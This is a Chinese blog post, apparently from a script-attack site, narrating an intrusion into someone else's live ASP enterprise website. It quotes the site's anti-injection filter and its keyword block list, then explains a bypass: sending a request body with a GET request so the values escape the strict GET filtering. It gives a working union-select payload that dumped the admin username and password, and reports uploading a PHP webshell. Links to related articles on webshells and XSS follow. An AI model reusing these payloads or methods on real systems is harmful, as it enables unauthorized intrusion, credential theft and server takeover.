利用Request对象的包解析漏洞绕过防注入程序

所属分类: 网络安全 / 脚本攻防 阅读数: 75
收藏 0 赞 0 分享
今天无聊来看看他们的站,打开网站 asp 的企业站 ,点了几个链接看了下,看不出来什么程序 于是扫扫目录 扫出来个 upload_photo.asp 这个文件一般使用的是无惧无组件上传 ,存在双文件上传的漏洞 ,尝试 cookies 欺骗绕过登录检测 遗憾的是不行 看来这个洞被补了。。虽然是老程序 ,但是用了这么多年 ,经过无数次被黑之后 一些洞洞也被补的差不多了。。去网上找了个差不多的企业站程序下载下来研究了下 ,发现其 downloadshow.asp 的防注入是通过 check_sql.asp 文件来实现的 ,好的我们来看看这个程序 看看能不能绕过 ,本地搭建了个测试环境,下面是check_sql.asp 的内容

复制代码
代码如下:

<%
Dim Query_Badword,Form_Badword,i,Err_Message,Err_Web,name
'------定义部份 头----------------------------------------------------------------------
Err_Message = 1 '处理方式:1=提示信息,2=转向页面,3=先提示再转向
Err_Web = "Err.Asp" '出错时转向的页面
Query_Badword="'∥and∥select∥update∥chr∥delete∥%20from∥;∥insert∥mid∥master.∥set∥chr(37)∥="
'在这部份定义get非法参数,使用"∥"号间隔
Form_Badword="'∥%∥&∥*∥#∥(∥)∥=" '在这部份定义post非法参数,使用"∥"号间隔
'------定义部份 尾-----------------------------------------------------------------------
'
On Error Resume Next
'----- 对 get query 值 的过滤.
if request.QueryString<>"" then
response.write "QueryString :" & request.QueryString & "
"
Chk_badword=split(Query_Badword,"∥")
FOR EACH Query_Name IN Request.QueryString
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.QueryString(Query_Name)),Chk_badword(i))<>0 Then
response.write request.QueryString(Query_Name) & "出现关键词" & Chk_badword(i) &"
"
Select Case Err_Message
Case "1"
Response.Write "传参错误!参数 "&name&" 的值中包含非法字符串!\n\n请不要在参数中出现:and update delete ; insert mid master 等非法字符"
Case "2"
Response.Write "<Script Language=JavaScript>location.href='"&Err_Web&"'</Script>"
Case "3"
Response.Write "<Script Language=JavaScript>alert('传参错误!参数 "&name&"的值中包含非法字符串!\n\n请不要在参数中出现:and update delete ; insert mid master 等非法字符!');location.href='"&Err_Web&"';</Script>"
End Select
Response.End
End If
NEXT
NEXT
End if
'-----对 post 表 单值的过滤.
if request.form<>"" then
Chk_badword=split(Form_Badword,"∥")
FOR EACH name IN Request.Form
for i=0 to ubound(Chk_badword)
If Instr(LCase(request.form(name)),Chk_badword(i))<>0 Then
response.write request.form(name) & "出现关键词" & Chk_badword(i) &"
"
Select Case Err_Message
Case "1"
Response.Write "出错了!表单 "&name&" 的值中包含非法字符串!\n\n请不要在表单中出现: % & * # ( ) 等非法字符!"
Case "3"
Response.Write "出错了!参数 "&name&"的值中包含非法字符串!\n\n请不要在表单中出现: % & * # ( ) 等非法字符!"
End Select
Response.End
End If
NEXT
NEXT
end if
%>

可以看出其对GET请求发送的参数 过滤的非常的严格 ,但是对于POST发送的参数却只过滤了几个符号 ,这个很好绕过的 ,但是downloadshow.asp 只接受GET 发送过来的参数啊 ,这该如何绕过?这里就要使用 asp 和 aspx 的Request对象的包解析漏洞,即像下面的形式发送的内容 ,使用 request对象仍然可以获取正确的值
GET /Downloadshow.asp HTTP/1.1
HOST:XXXXXXXXXXXXXXXX
Content-Length: xx
Content-Type: XXXXXXXXXXXXXXXXXX

ID=111

然后 downloadshow.asp 中 使用request("ID")仍然可以获取正确的ID值 ,和直接 GET /downloadshow.asp?ID=111 的效果是一样的,但是这样的话 对于上面的那个 sql 注入检测程序 ,却会把这样的数据当作是POST提交的数据 ,再加上不到位的检测 ,sql注入漏洞就产生了,如下图所示:
点击查看原图
点击查看原图
点击查看原图

     这里有个技巧就是 使用 火狐的 Hackbar 插件 可以很方便的加上 POST 的数据 。
好了 本地成功了 我们拿到目标站来试试效果
来到 downloadshow.asp 页面 提交POST 数据
ID=-7%20union%20select%201%2Cusername%2C3%2C4%2C5%2C6%2Cpassword%2C8%2Cpassword%2C0%2C11%2C12%2C13%20from%20admin
直接爆出管理员的用户名密码

点击查看原图

 

      然后就是后台拿shell了 ,现在我们是管理员了而且已经登录, 那我们再来 试试双文件上传  悲剧的发现 对于 在后缀后面加空格的方法绕过后缀检测已经无效了,无惧的上传组建会检测 asp asa aspx 3种后缀 ,那么对于 asp 的站 可以试试 cer ,悲剧的是cer这个站不支持。。又看到有数据库备份 ,看看 数据库的路径和名字都不可改写 这个好办  使用 firebug 改成我上传的图片路径 然后备份文件填写1.asp 提交,本地抓下包 发现原始数据库的路径并未当作参赛提交 无语了 ……果然 像我开头说的那样虽然是垃圾站 但是经过这么多年被黑,各种小洞都补了 。。无奈 试试其他脚本类型吧  上传个 php ,还好服务器支持php ,shell 到手了。 

更多精彩内容其他人还在看

XSS攻击常识及常用脚本

XSS 攻击常用脚本,大家可以了解xss攻击的一些知识做好网站安全防范。
收藏 0 赞 0 分享

XSS攻击汇总 做网站安全的朋友需要注意下

貌似关于xss的资料t00ls比较少,看见好东西Copy过来,不知道有木有童鞋需要Mark的
收藏 0 赞 0 分享

PHP一句话Webshell变形总结

大部分Webshell查杀工具都是基于关键字特征的,通常他们会维护一个关键字列表,以此遍历指定扩展名的文件来进行扫描,所以可能最先想到的是各种字符串变形
收藏 0 赞 0 分享

phpddos流量攻击预防方法

先来理解一下什么是phpddos流量攻击,phpddos是一种黑客经过入侵WEB效劳器植入phpshell从而控制这个phpshell 向其他受害者或本人的效劳器发送UDP攻击包停止DDOS攻击
收藏 0 赞 0 分享

SQL注入攻防入门详解 [图文并茂] 附示例下载

毕业开始从事winfrm到今年转到 web ,在码农届已经足足混了快接近3年了,但是对安全方面的知识依旧薄弱,事实上是没机会接触相关开发……必须的各种借口。这几天把sql注入的相关知识整理了下,希望大家多多提意见
收藏 0 赞 0 分享

安全防护 脚本攻击防范策略完全篇

网络上的SQL Injection 漏洞利用攻击,JS脚本,HTML脚本攻击似乎逾演逾烈。陆续的很多站点都被此类攻击所困扰,并非像主机漏洞那样可以当即修复,来自于WEB的攻击方式使我们在防范或者是修复上都带来了很大的不便
收藏 0 赞 0 分享

六种后台拿shell的方法

一直以来很多我网站都被植入了很多后门,这里简单的分下黑客常用的手段,方便管理员或站长注意防御
收藏 0 赞 0 分享

利用WMI打造完美三无后门(scrcons.exe)

ASEC是WMI中的一个标准永久事件消费者。它的作用是当与其绑定的一个事件到达时,可以执行一段预先设定好的JS/VBS脚本
收藏 0 赞 0 分享

Dedecms最新注入漏洞分析及修复方法

最近看到网上曝出的dedecms最新版本的一个注入漏洞利用,漏洞PoC和分析文章也已在网上公开.但是在我实际测试过程当中,发现无法复现
收藏 0 赞 0 分享

web后门 那些强悍猥琐流的PHP一句话后门大全分享

我们以一个学习的心态来对待这些PHP后门程序,很多PHP后门代码让我们看到程序员们是多么的用心良苦
收藏 0 赞 0 分享
查看更多